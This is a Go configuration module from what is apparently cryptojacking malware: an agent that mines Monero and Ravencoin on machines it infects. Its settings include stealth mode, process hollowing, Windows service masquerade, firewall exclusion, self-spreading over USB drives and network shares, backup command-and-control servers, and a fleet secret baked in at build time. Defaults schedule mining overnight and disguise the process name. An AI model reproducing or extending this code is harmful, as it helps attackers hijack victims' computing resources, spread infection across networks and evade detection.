package config

import (
	"runtime"
	"strings"
	"time"
)

const Version = "1.0.0"

type BuiltinConfig struct {
	WorkerName          string
	ServerURL           string
	Wallet              string
	Threads             int
	ThreadMode          string
	ThreadPercent       int
	CPUPriority         string
	MiningMode          string
	DisplayMode         string
	SilentMode          bool
	RunAs               string
	AutoStart           bool
	ProcessName         string
	BuildID             string
	BuiltAt             time.Time
	PoolHost            string
	PoolPort            int
	PoolTLS             bool
	PoolPass            string
	MaxCPUUsage         int
	MaxMemoryPct        int
	MinFreeRAM          int
	IdleThresholdPct    int
	IdleDurationMinutes int
	ScheduleStart       string
	ScheduleEnd         string
	InstallBase         string
	InstallCustomBase   string
	InstallRelativePath string
	AdaptToHardware     bool
	SelfHealing         bool
	FileLogging         bool
	StealthMode         bool
	FirewallExclusion   bool
	// AI Autonomy (Ollama)
	AIEnabled        bool
	AIOllamaEndpoint string
	AIModel          string
	ProcessHollowing bool
	MeshP2P          bool
	AutoSpread       bool
	HolePunch        bool
	RemoteAggressive bool
	// Passive spreading — triggered by the environment rather than active scanning
	USBSpread   bool // copy agent to any newly-inserted removable/USB drive
	ShareSpread bool // drop agent onto already-mounted network shares
	// Backup server URLs — tried in order if primary C2 fails
	BackupServerURLs []string
	// BackupPools — alternative mining pools tried in order if the primary is unreachable
	BackupPools []BackupPool
	// Windows service masquerade (ignored on other OSes)
	ServiceMasquerade bool
	ServiceName       string
	ServiceDonor      string
	// FleetSecret is baked in at forge time and presented on WS connect.
	// The server rejects any agent that doesn't carry the right secret.
	FleetSecret string

	// GPU / Ravencoin mining
	GPUEnabled     bool       // enable KawPoW GPU miner alongside XMR CPU miner
	RVNWallet      string     // Ravencoin wallet address for GPU mining
	RVNPoolHost    string     // primary RVN Stratum pool host
	RVNPoolPort    int        // primary RVN Stratum pool port
	RVNPoolTLS     bool       // primary RVN pool TLS flag
	RVNPoolPass    string     // stratum password (usually "x")
	RVNBackupPools []BackupPool // failover RVN pools
}

// BackupPool holds connection info for a fallback Stratum mining pool.
type BackupPool struct {
	Host string
	Port int
	TLS  bool
	Pass string
}

type RuntimeConfig struct {
	BuiltinConfig
	AgentID string
}

func Load() RuntimeConfig {
	b := GetBuiltinConfig()
	if b.Threads <= 0 {
		b.Threads = 4
	}
	if b.ThreadMode == "" {
		b.ThreadMode = "percent"
	}
	if b.ThreadPercent <= 0 {
		b.ThreadPercent = 75
	}
	if b.CPUPriority == "" {
		b.CPUPriority = "below_normal"
	}
	if b.MiningMode == "" {
		b.MiningMode = "always"
	}
	if b.DisplayMode == "" {
		if b.SilentMode {
			b.DisplayMode = "silent"
		} else {
			b.DisplayMode = "visible"
		}
	}
	if b.ProcessName == "" {
		b.ProcessName = sanitizeProcessName(b.WorkerName)
	}
	if b.MaxCPUUsage <= 0 {
		b.MaxCPUUsage = 80
	}
	if b.MaxMemoryPct <= 0 {
		b.MaxMemoryPct = 70
	}
	if b.MinFreeRAM <= 0 {
		b.MinFreeRAM = 1024
	}
	if b.IdleThresholdPct <= 0 {
		b.IdleThresholdPct = 20
	}
	if b.IdleDurationMinutes <= 0 {
		b.IdleDurationMinutes = 5
	}
	if b.ScheduleStart == "" {
		b.ScheduleStart = "21:00"
	}
	if b.ScheduleEnd == "" {
		b.ScheduleEnd = "06:00"
	}
	if b.InstallBase == "" {
		b.InstallBase = "localappdata"
	}
	if b.InstallRelativePath == "" {
		b.InstallRelativePath = DefaultInstallRelativePath
	}
	if b.PoolHost == "" {
		b.PoolHost = "pool.supportxmr.com"
	}
	if b.PoolPort <= 0 {
		b.PoolPort = 3333
	}
	if b.PoolPass == "" {
		b.PoolPass = "x"
	}
	if b.AIEnabled {
		if b.AIOllamaEndpoint == "" {
			b.AIOllamaEndpoint = "http://localhost:11434"
		}
		if b.AIModel == "" {
			b.AIModel = "llama3.2"
		}
	}
	if b.StealthMode {
		b.FileLogging = false
		if b.DisplayMode == "" || b.DisplayMode == "visible" {
			b.DisplayMode = "background"
		}
	}
	// GPU mining defaults
	if b.GPUEnabled {
		if b.RVNPoolHost == "" {
			b.RVNPoolHost = "rvn.2miners.com"
		}
		if b.RVNPoolPort <= 0 {
			b.RVNPoolPort = 6060
		}
		if b.RVNPoolPass == "" {
			b.RVNPoolPass = "x"
		}
	}
	return RuntimeConfig{BuiltinConfig: b}
}

func (c RuntimeConfig) EffectiveThreads() int {
	mode := strings.ToLower(c.ThreadMode)
	if mode == "fixed" {
		if c.Threads < 1 {
			return 1
		}
		return c.Threads
	}
	cores := runtime.NumCPU()
	if cores < 1 {
		cores = 1
	}
	pct := c.ThreadPercent
	if pct < 1 {
		pct = 1
	}
	if pct > 100 {
		pct = 100
	}
	threads := int(float64(cores) * float64(pct) / 100.0)
	if threads < 1 {
		threads = 1
	}
	if threads > cores {
		threads = cores
	}
	return threads
}

func (c RuntimeConfig) HideWindow() bool {
	switch strings.ToLower(c.DisplayMode) {
	case "silent", "background":
		return true
	default:
		return c.SilentMode
	}
}

func (c RuntimeConfig) BackgroundMode() bool {
	return strings.ToLower(c.DisplayMode) == "background"
}

func (c RuntimeConfig) EffectiveProcessName() string {
	name := strings.TrimSpace(c.ProcessName)
	if name == "" {
		return sanitizeProcessName(c.WorkerName)
	}
	return sanitizeProcessName(name)
}

func sanitizeProcessName(name string) string {
	name = strings.TrimSpace(name)
	if name == "" {
		return "CryptoMinerWorker"
	}
	replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
	clean := replacer.Replace(name)
	if clean == "" {
		return "CryptoMinerWorker"
	}
	return clean
}
